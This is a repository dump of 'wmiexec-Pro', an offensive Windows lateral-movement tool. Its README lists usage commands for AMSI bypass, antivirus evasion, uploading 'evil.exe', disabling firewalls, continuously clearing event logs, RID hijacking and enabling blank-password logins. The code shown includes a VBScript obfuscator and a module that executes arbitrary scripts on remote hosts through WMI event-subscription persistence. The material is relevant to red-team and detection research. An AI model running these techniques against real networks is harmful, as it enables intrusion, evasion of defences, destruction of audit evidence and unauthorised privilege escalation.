├── .gitignore ├── README.md ├── images ├── comand-exec.png ├── download-file.png ├── help.png └── upload-file.png ├── lib ├── __init__.py ├── checkError.py ├── helpers.py ├── logger.py ├── methods │ ├── Obfuscator.py │ ├── __init__.py │ ├── classMethodEx.py │ └── executeVBS.py ├── modules │ ├── __init__.py │ ├── amsi.py │ ├── enumrate.py │ ├── eventlog_fucker.py │ ├── exec_command.py │ ├── filetransfer.py │ ├── firewall.py │ ├── hashdump.py │ ├── rdp.py │ ├── rid_hijack.py │ ├── service_mgr.py │ └── winrm.py └── vbscripts │ ├── ClearEventlog.vbs │ ├── CreateClass.vbs │ ├── Exec-Command-Silent-UnderNT6-II.vbs │ ├── Exec-Command-Silent-UnderNT6.vbs │ ├── Exec-Command-Silent.vbs │ ├── Exec-Command-WithOutput-Shell.vbs │ ├── Exec-Command-WithOutput-UnderNT6.vbs │ ├── Exec-Command-WithOutput.vbs │ ├── GrantSamAccessPermission.vbs │ ├── LocalFileIntoClass.vbs │ ├── RemoveTempFile.vbs │ └── WriteFile.vbs ├── requirements.txt ├── todo └── wmiexec-pro.py /.gitignore: -------------------------------------------------------------------------------- 1 | lib/methods/__pycache__/ 2 | lib/modules/__pycache__/ 3 | lib/__pycache__/ 4 | .ruff_cache 5 | save/ 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # wmiexec-Pro 4 | 5 | New generation of wmiexec.py. 6 | 7 | #### Table of Contents 8 |
    9 |
  1. 10 | Info 11 |
  2. 12 |
  3. 13 | Special thanks 14 |
  4. 15 |
  5. 16 | Features 17 |
  6. 18 |
  7. 19 | Getting Started 20 | 23 |
  8. 24 |
  9. Usage
  10. 25 |
  11. Screenshots
  12. 26 |
  13. How it works?
  14. 27 |
  15. Disclaimer
  16. 28 |
  17. References
  18. 29 |
30 | 31 | 32 | 33 | ## Info 34 | 35 | The new generation of wmiexec.py, more new features, whole the operations only work with port 135 (don't need smb connection) for AV evasion in lateral movement (Windows Defender, HuoRong, 360) 36 | 37 |

(back to top)

38 | 39 | ## Special thanks 40 | 41 | ##### @[422926799](https://github.com/422926799) 42 | 43 |

(back to top)

44 | 45 | ## Features 46 | 47 | - Main feature: AV Evasion 48 | - Main feature: No `win32_process` needed 49 | - Main feature: Only need port 135. 50 | - New module: AMSI bypass 51 | - New module: File transfer 52 | - New module: Remote enable RDP via wmi class method 53 | - New module: Windows firewall abusing 54 | - New module: Eventlog looping cleaning 55 | - New module: Remote enable WinRM without touching CMD 56 | - New module: Service manager 57 | - New module: RID-Hijack 58 | - Enhancement: Get command execution output in new way 59 | - Enhancement: Execute vbs file 60 | 61 |

(back to top)

62 | 63 | ## Getting Started 64 | 65 | ### Installation 66 | 67 | _Only need latest version of Impacket_ 68 | 69 | 1. Clone the impacket repository 70 | ```sh 71 | git clone https://github.com/fortra/impacket 72 | ``` 73 | 2. Install imapcket 74 | ```sh 75 | cd imapcket && sudo pip3 install . 76 | ``` 77 | 3. Enjoy it :) 78 | ```sh 79 | git clone https://github.com/XiaoliChan/wmiexec-Pro 80 | ``` 81 | 82 |

(back to top)

83 | 84 | 85 | ## Usage 86 | 87 | ``` 88 | python3 wmiexec-pro.py [[domain/]username[:password]@] module -h 89 | 90 | Basic enumeration: 91 | python3 wmiexec-pro.py administrator:password@192.168.1.1 enum -run 92 | 93 | Enable/disable amsi bypass: 94 | python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -enable 95 | python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable 96 | 97 | Execute command: 98 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell) 99 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode) 100 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode) 101 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003) 102 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003) 103 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file) 104 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save 105 | python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage) 106 | 107 | Filetransfer: 108 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB) 109 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB) 110 | python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer) 111 | 112 | RDP: 113 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall) 114 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable -old (For old version OS, such as server 2003) 115 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003) 116 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable 117 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003) 118 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode) 119 | 120 | WinRM (Only support win7+): 121 | python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -enable 122 | python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -disable 123 | 124 | Firewall (Only support win8+): 125 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -search-port 445 126 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules) 127 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule) 128 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles) 129 | python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles) 130 | 131 | Services: 132 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' 133 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class) 134 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name "test" 135 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name "test" 136 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name "test" 137 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name "test" 138 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name "test" 139 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name "test" 140 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name "test" 141 | python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json 142 | 143 | Eventlog: 144 | python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog) 145 | python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog) 146 | 147 | RID Hijack: 148 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry) 149 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003) 150 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action activate (Activate user) 151 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action deactivate (Deactivate user) 152 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500) 153 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login enable (Enable blank password login) 154 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login disable 155 | python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 500 -action backup (This will save user profile data as json file) 156 | python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked) 157 | python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user) 158 | 159 | ``` 160 | 161 |

(back to top)

162 | 163 | 164 | ## Screenshots 165 | - Help 166 | - ![](images/help.png) 167 | 168 | - exec-command 169 | - ![](images/comand-exec.png) 170 | 171 | - filetransfer 172 | 173 | - upload file 174 | 175 | ![](images/upload-file.png) 176 | 177 | - download file 178 | 179 | ![](images/download-file.png) 180 | 181 |

(back to top)

182 | 183 | 184 | ## How it works? 185 | 186 | - AMSI module: 187 | - Tal-Liberman's technique from blackhat asia 2018. 188 | 189 | - exec-command module: 190 | - Enhancement of previous project: [wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut), get output from wmi class instead of from registry. 191 | 192 | - filetransfer module: 193 | - For upload: encode the source file as base64 strings into the dropper named `WriteFile.vbs`, then create a new instance of object `ActiveScriptEventConsumer` to execute the dropper. 194 | - For download: remote create a class to store data, then execute the encoder `LocalFileIntoClass.vbs` to encode the file and store data into the class that just created. 195 | 196 | - rdp module: 197 | - For enable/disable: rdp serivces: control `TerminalServices` object directly. 198 | - For enable/disable: Restricted Admin Mode: control registry key `DisableRestrictedAdmin` via `StdRegProv` class. 199 | 200 | - winrm module: 201 | - For enable/disable: invoke service module. 202 | - For firewall rules: use module `firewall.py` to configure firewall of winrm. 203 | 204 | - firewall module: 205 | - Abusing `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile` classes. 206 | 207 | - service module: 208 | - Abusing `Win32_Service` classes. 209 | 210 | - eventlog module: 211 | - Execute the vbs script file `ClearEventlog.vbs` without remove `event` and `consumer`. 212 | 213 | - execute-vbs module: 214 | - Picked from `wmipersist.py`. 215 | 216 | - classMethodEx method: 217 | - For create class: execute the vbs scritp : `CreateClass.vbs` to create simple class. (Why? Have no idea how to use `PutClass` method in impacket.) 218 | - For remove class: call `DeleteClass` method to remove class. 219 | 220 |

(back to top)

221 | 222 | ## Disclaimer 223 | The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks. 224 | 225 | The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products. 226 | 227 | If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs. 228 | 229 |

(back to top)

230 | 231 | ## References 232 | 233 | * [GhostPack/SharpWMI](https://github.com/GhostPack/SharpWMI) 234 | * [impacket](https://github.com/fortra/impacket/) 235 | * [WMIHACKER](https://github.com/rootclay/WMIHACKER) 236 | * [Microsoft WMI Docs](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes) 237 | * [Microsoft VBScripts Docs](https://learn.microsoft.com/en-us/windows/win32/wmisdk/creating-a-wmi-script) 238 | 239 |

(back to top)

240 | 241 | -------------------------------------------------------------------------------- /images/comand-exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/comand-exec.png -------------------------------------------------------------------------------- /images/download-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/download-file.png -------------------------------------------------------------------------------- /images/help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/help.png -------------------------------------------------------------------------------- /images/upload-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/images/upload-file.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/__init__.py -------------------------------------------------------------------------------- /lib/checkError.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | 4 | @staticmethod 5 | def checkError(banner, resp): 6 | logger = logging.getLogger("wmiexec-pro") 7 | call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned 8 | if call_status != 0: 9 | from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS 10 | try: 11 | error_name = WBEMSTATUS.enumItems(call_status).name 12 | except ValueError: 13 | error_name = "Unknown" 14 | logger.error(f"{banner} - ERROR: {error_name} {call_status:08x}") 15 | else: 16 | logger.info(f"{banner} - OK") -------------------------------------------------------------------------------- /lib/helpers.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | def get_vbs_path(filename): 5 | # The directory of the main file 6 | main_dir = os.path.dirname(os.path.abspath(sys.modules["__main__"].__file__)) 7 | 8 | return os.path.join(main_dir, "lib", "vbscripts", filename) -------------------------------------------------------------------------------- /lib/logger.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | 4 | from rich.theme import Theme 5 | from rich.console import Console 6 | from rich.logging import RichHandler 7 | from datetime import datetime 8 | 9 | 10 | class FlushHandler(logging.StreamHandler): 11 | def emit(self, record): 12 | record_time = datetime.fromtimestamp(record.created).strftime("[%y/%m/%d %H:%M:%S]") 13 | level_name = record.levelname.ljust(8) 14 | msg = self.format(record) 15 | formatted_msg = f"\r{record_time} {level_name} {msg}" 16 | stream = self.stream 17 | stream.write(formatted_msg) 18 | stream.flush() 19 | 20 | class Log: 21 | def __init__(self, log_level=logging.DEBUG): 22 | self.log_level = log_level 23 | self.wmi_console = Console( 24 | soft_wrap=True, 25 | tab_size=4, 26 | theme=Theme( 27 | {"logging.level.success": "green"} 28 | ) 29 | ) 30 | logging.basicConfig( 31 | format="%(message)s", 32 | datefmt="[%X]", 33 | handlers=[], 34 | encoding="utf-8" 35 | ) 36 | self.setup_logger1() 37 | self.setup_logger2() 38 | 39 | def setup_logger1(self): 40 | logger = logging.getLogger("wmiexec-pro") 41 | logging.addLevelName(100, "SUCCESS") 42 | logger.setLevel(self.log_level) 43 | if not logger.handlers: 44 | logger.addHandler( 45 | RichHandler( 46 | console=self.wmi_console, 47 | rich_tracebacks=True, 48 | tracebacks_show_locals=False 49 | ) 50 | ) 51 | 52 | def setup_logger2(self): 53 | # Set up logging 54 | logger = logging.getLogger("CountdownLogger") 55 | logger.setLevel(self.log_level) 56 | # Use the custom handler 57 | if not logger.handlers: 58 | logger.addHandler( 59 | FlushHandler(sys.stdout) 60 | ) -------------------------------------------------------------------------------- /lib/methods/Obfuscator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | 5 | class VBSObfuscator: 6 | def __init__(self): 7 | pass 8 | 9 | def randCapitalization(self, characters): 10 | capicharacter = "" 11 | for character in characters: 12 | lowup = random.randrange(0,2) 13 | if lowup == 0: 14 | capicharacter += character.upper() 15 | if lowup == 1: 16 | capicharacter += character.lower() 17 | return capicharacter 18 | 19 | #Random mathematical expression decision 20 | def expr(self, char): 21 | range = random.randrange(100, 10001) 22 | exp = random.randrange(0, 3) 23 | if exp == 0: 24 | return f"{(range+char)!s}-{range!s}" 25 | if exp == 1: 26 | return f"{(char-range)!s}+{range!s}" 27 | if exp == 2: 28 | return f"{(char*range)!s}/{range!s}" 29 | 30 | def obfu(self, body): 31 | encBody = "" 32 | for i in range(0, len(body)): 33 | if not encBody: 34 | encBody += self.expr(ord(body[i])) 35 | else: 36 | encBody += f"*{self.expr(ord(body[i]))}" 37 | return encBody 38 | 39 | def generator(self, vbs_content=None): 40 | #Splitter is set to be the "*" symbol, 41 | #since we are not using it in obfuscation 42 | splitter = str(chr(42)) 43 | 44 | #Random function names 45 | NUM_OF_CHARS = random.randrange(5, 60) 46 | pld = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 47 | array = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 48 | temp = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 49 | x = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 50 | 51 | #Random Sub names 52 | subOne = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 53 | subTwo = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(NUM_OF_CHARS)) 54 | 55 | #Write to destination file 56 | obfuscated_file = "{0}\n{1}\n{2}\n{3}\n{4}\n{5}\n{6}\n{7}\n{8}\n{9}\n{10}\n{11}\n{12}\n".format( 57 | self.randCapitalization(f"Dim {pld}, {array}, {temp}"), 58 | self.randCapitalization(f"Sub {subOne}"), 59 | f"{self.randCapitalization(f"{pld} = ")}{chr(34)}{self.obfu(vbs_content)}{chr(34)}", 60 | f"{self.randCapitalization(f"{array} = Split({pld}, chr(eval(")}{self.obfu(splitter)})))", 61 | self.randCapitalization(f"for each {x} in {array}"), 62 | f"{self.randCapitalization(f"{temp} = {temp} & chr(eval({x}")}))", 63 | self.randCapitalization("next"), 64 | self.randCapitalization(subTwo), 65 | self.randCapitalization("End Sub"), 66 | self.randCapitalization(f"Sub {subTwo}"), 67 | f"{self.randCapitalization(f"eval(execute({temp}")}))", 68 | self.randCapitalization("End Sub"), 69 | self.randCapitalization(subOne) 70 | ) 71 | 72 | return obfuscated_file -------------------------------------------------------------------------------- /lib/methods/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/methods/__init__.py -------------------------------------------------------------------------------- /lib/methods/classMethodEx.py: -------------------------------------------------------------------------------- 1 | import time 2 | import sys 3 | import logging 4 | 5 | from io import StringIO 6 | from lib.methods.executeVBS import executeVBS_Toolkit 7 | from impacket.dcerpc.v5.dtypes import NULL 8 | from lib.helpers import get_vbs_path 9 | 10 | 11 | class class_MethodEx(): 12 | def __init__(self, iWbemLevel1Login): 13 | self.iWbemLevel1Login = iWbemLevel1Login 14 | self.logger = logging.getLogger("wmiexec-pro") 15 | 16 | # Have no idea how to use iWbemServices_Cimv2::PutClass create class object via impacket function remotely. 17 | # So lets we jump in vbs :) 18 | # Prepare for download file 19 | def create_Class(self, ClassName, iWbemServices_Cimv2=None, iWbemServices_Subscription=None, return_iWbemServices=False): 20 | with open(get_vbs_path("CreateClass.vbs")) as f: 21 | vbs = f.read() 22 | 23 | vbs = vbs.replace("REPLACE_WITH_CLASSNAME", ClassName) 24 | 25 | self.logger.info(f"Creating class: {ClassName}") 26 | 27 | executer = executeVBS_Toolkit(self.iWbemLevel1Login) 28 | # Login into subscription namespace 29 | if not iWbemServices_Subscription: 30 | iWbemServices_Subscription = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) 31 | self.iWbemLevel1Login.RemRelease() 32 | 33 | tag, iWbemServices_Subscription = executer.ExecuteVBS(vbs_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription, return_iWbemServices=True) 34 | 35 | # Wait 5 seconds for next step. 36 | loger_flush = logging.getLogger("CountdownLogger") 37 | for i in range(5,0,-1): 38 | loger_flush.info(f"Waiting {i}s for next step.\r") 39 | time.sleep(1) 40 | 41 | # Check class creation status 42 | if not iWbemServices_Cimv2: 43 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 44 | self.iWbemLevel1Login.RemRelease() 45 | 46 | try: 47 | iWbemServices_Cimv2.GetObject(f'{ClassName}.CreationClassName="Backup"') 48 | except Exception as e: 49 | self.logger.error(f"Unexpected error: {e!s}") 50 | executer.remove_Event(tag) 51 | else: 52 | self.logger.info(f"Class: {ClassName} has been created!") 53 | # Clean up 54 | self.logger.info("Stop vbs interval execution after created class.") 55 | executer.remove_Event(tag) 56 | 57 | # Return cimv2 58 | if return_iWbemServices: 59 | return iWbemServices_Cimv2, iWbemServices_Subscription 60 | 61 | def check_ClassStatus(self, ClassName, iWbemServices_Cimv2=None, iWbemServices_Subscription=None, return_iWbemServices=False): 62 | if not iWbemServices_Cimv2: 63 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 64 | self.iWbemLevel1Login.RemRelease() 65 | 66 | try: 67 | iWbemServices_Cimv2.GetObject(f'{ClassName}.CreationClassName="Backup"') 68 | except Exception as e: 69 | if "WBEM_E_INVALID_CLASS" in str(e): 70 | self.logger.info(f"Class {ClassName} didn't exist, start creating class.") 71 | iWbemServices_Cimv2, iWbemServices_Subscription = self.create_Class(ClassName, iWbemServices_Cimv2=iWbemServices_Cimv2, iWbemServices_Subscription=iWbemServices_Subscription,return_iWbemServices=True) 72 | else: 73 | self.logger.error(f"Unexpected error: {e!s}") 74 | else: 75 | self.logger.info(f"Class: {ClassName} has been created!") 76 | 77 | # Return cimv2 78 | if return_iWbemServices: 79 | return iWbemServices_Cimv2, iWbemServices_Subscription 80 | 81 | def remove_Class(self, ClassName, iWbemServices_Cimv2=None, return_iWbemServices_Cimv2=False): 82 | if not iWbemServices_Cimv2: 83 | iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) 84 | self.iWbemLevel1Login.RemRelease() 85 | 86 | self.logger.info(f"Remove wmi class: {ClassName}") 87 | # Don't output verbose 88 | current=sys.stdout 89 | sys.stdout = StringIO() 90 | iWbemServices_Cimv2.DeleteClass(ClassName) 91 | sys.stdout = current 92 | 93 | # Return cimv2 94 | if return_iWbemServices_Cimv2: 95 | return iWbemServices_Cimv2 -------------------------------------------------------------------------------- /lib/methods/executeVBS.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import uuid 3 | import sys 4 | 5 | from io import StringIO 6 | from impacket.dcerpc.v5.dtypes import NULL 7 | 8 | from lib.checkError import checkError 9 | 10 | 11 | class executeVBS_Toolkit(): 12 | def __init__(self, iWbemLevel1Login): 13 | self.iWbemLevel1Login = iWbemLevel1Login 14 | self.logger = logging.getLogger("wmiexec-pro") 15 | 16 | def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=1000, returnTag=False, BlockVerbose=False, iWbemServices=None, return_iWbemServices=False): 17 | if not vbs_content and vbs_file: 18 | with open(vbs_file, "r") as f: 19 | vbs_content = f.read() 20 | 21 | if not iWbemServices: 22 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) 23 | self.iWbemLevel1Login.RemRelease() 24 | 25 | tag = f"windows-object-{str(uuid.uuid4())}" 26 | 27 | # Copy from wmipersist.py 28 | # Install ActiveScriptEventConsumer 29 | activeScript, _ = iWbemServices.GetObject("ActiveScriptEventConsumer") 30 | activeScript = activeScript.SpawnInstance() 31 | activeScript.Name = tag 32 | activeScript.ScriptingEngine = "VBScript" 33 | activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 34 | activeScript.ScriptText = vbs_content 35 | # Don't output verbose 36 | current=sys.stdout 37 | sys.stdout = StringIO() 38 | marshalled = activeScript.marshalMe() 39 | sys.stdout = current 40 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding ActiveScriptEventConsumer: {tag}", iWbemServices.PutInstance(marshalled)) 41 | 42 | if filer_Query: 43 | eventFilter, _ = iWbemServices.GetObject("__EventFilter") 44 | eventFilter = eventFilter.SpawnInstance() 45 | eventFilter.Name = tag 46 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 47 | eventFilter.Query = filer_Query 48 | eventFilter.QueryLanguage = "WQL" 49 | eventFilter.EventNamespace = "root\\cimv2" 50 | # Don't output verbose 51 | current=sys.stdout 52 | sys.stdout = StringIO() 53 | marshalled = eventFilter.marshalMe() 54 | sys.stdout = current 55 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding EventFilter: {tag}", iWbemServices.PutInstance(marshalled)) 56 | 57 | else: 58 | # Timer 59 | wmiTimer, _ = iWbemServices.GetObject("__IntervalTimerInstruction") 60 | wmiTimer = wmiTimer.SpawnInstance() 61 | wmiTimer.TimerId = tag 62 | wmiTimer.IntervalBetweenEvents = int(timer) 63 | #wmiTimer.SkipIfPassed = False 64 | # Don't output verbose 65 | current=sys.stdout 66 | sys.stdout = StringIO() 67 | marshalled = wmiTimer.marshalMe() 68 | sys.stdout = current 69 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding IntervalTimerInstruction: {tag}", iWbemServices.PutInstance(marshalled)) 70 | 71 | # EventFilter 72 | eventFilter,_ = iWbemServices.GetObject("__EventFilter") 73 | eventFilter = eventFilter.SpawnInstance() 74 | eventFilter.Name = tag 75 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 76 | eventFilter.Query = f'select * from __TimerEvent where TimerID = "{tag}"' 77 | eventFilter.QueryLanguage = "WQL" 78 | eventFilter.EventNamespace = "root\\subscription" 79 | # Don't output verbose 80 | current=sys.stdout 81 | sys.stdout = StringIO() 82 | marshalled = eventFilter.marshalMe() 83 | sys.stdout = current 84 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError(f"Adding EventFilter: {tag}", iWbemServices.PutInstance(marshalled)) 85 | 86 | # Binding EventFilter & EventConsumer 87 | filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding') 88 | filterBinding = filterBinding.SpawnInstance() 89 | filterBinding.Filter = f'__EventFilter.Name="{tag}"' 90 | filterBinding.Consumer = f'ActiveScriptEventConsumer.Name="{tag}"' 91 | filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 92 | # Don't output verbose 93 | current=sys.stdout 94 | sys.stdout = StringIO() 95 | marshalled = filterBinding.marshalMe() 96 | sys.stdout = current 97 | iWbemServices.PutInstance(marshalled) if BlockVerbose else checkError("Adding FilterToConsumerBinding", iWbemServices.PutInstance(marshalled)) 98 | 99 | if returnTag: 100 | if return_iWbemServices: 101 | return tag, iWbemServices 102 | else: 103 | return tag 104 | 105 | def remove_Event(self, tag, BlockVerbose=False, iWbemServices=None): 106 | if not iWbemServices: 107 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) 108 | self.iWbemLevel1Login.RemRelease() 109 | 110 | if BlockVerbose: 111 | iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{tag}"') 112 | iWbemServices.DeleteInstance(f'__EventFilter.Name="{tag}"') 113 | iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{tag}"') 114 | iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{tag}\"",Filter="__EventFilter.Name=\"{tag}\""') 115 | else: 116 | checkError('Removing ActiveScriptEventConsumer: %s' % tag, iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{tag}"')) 117 | checkError('Removing EventFilter: %s' % tag, iWbemServices.DeleteInstance(f'__EventFilter.Name="{tag}"')) 118 | checkError('Removing IntervalTimerInstruction: %s' % tag, iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{tag}"')) 119 | checkError('Removing FilterToConsumerBinding', iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{tag}\"",Filter="__EventFilter.Name=\"{tag}\""')) 120 | 121 | def deep_RemoveEvent(self, iWbemServices=None): 122 | if not iWbemServices: 123 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) 124 | self.iWbemLevel1Login.RemRelease() 125 | 126 | for i in ["ActiveScriptEventConsumer", "__EventFilter", "__IntervalTimerInstruction", "__FilterToConsumerBinding"]: 127 | while True: 128 | try: 129 | iEnumWbemClassObject = iWbemServices.ExecQuery(f"select * from {i}") 130 | class_ = iEnumWbemClassObject.Next(0xffffffff,1)[0] 131 | if i == "__IntervalTimerInstruction": 132 | checkError(f"Removing {i}: {class_.TimerId}", iWbemServices.DeleteInstance(f'{i}.Name="{class_.TimerId}"')) 133 | elif i == "__FilterToConsumerBinding": 134 | checkError(f"Removing {i}", iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="{class_.Consumer.replace('"','\\"')}",Filter="{class_.Filter.replace('"','\\"')}"')) 135 | else: 136 | checkError(f"Removing {i}: {class_.Name}", iWbemServices.DeleteInstance(f'{i}.Name="{class_.Name}"')) 137 | except Exception as e: 138 | if str(e).find("S_FALSE") < 0: 139 | pass 140 | else: 141 | self.logger.info(f"{i} has been cleaned!") 142 | break 143 | -------------------------------------------------------------------------------- /lib/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/wmiexec-Pro/0770de3a50152b35865e334a82907a92659586ea/lib/modules/__init__.py -------------------------------------------------------------------------------- 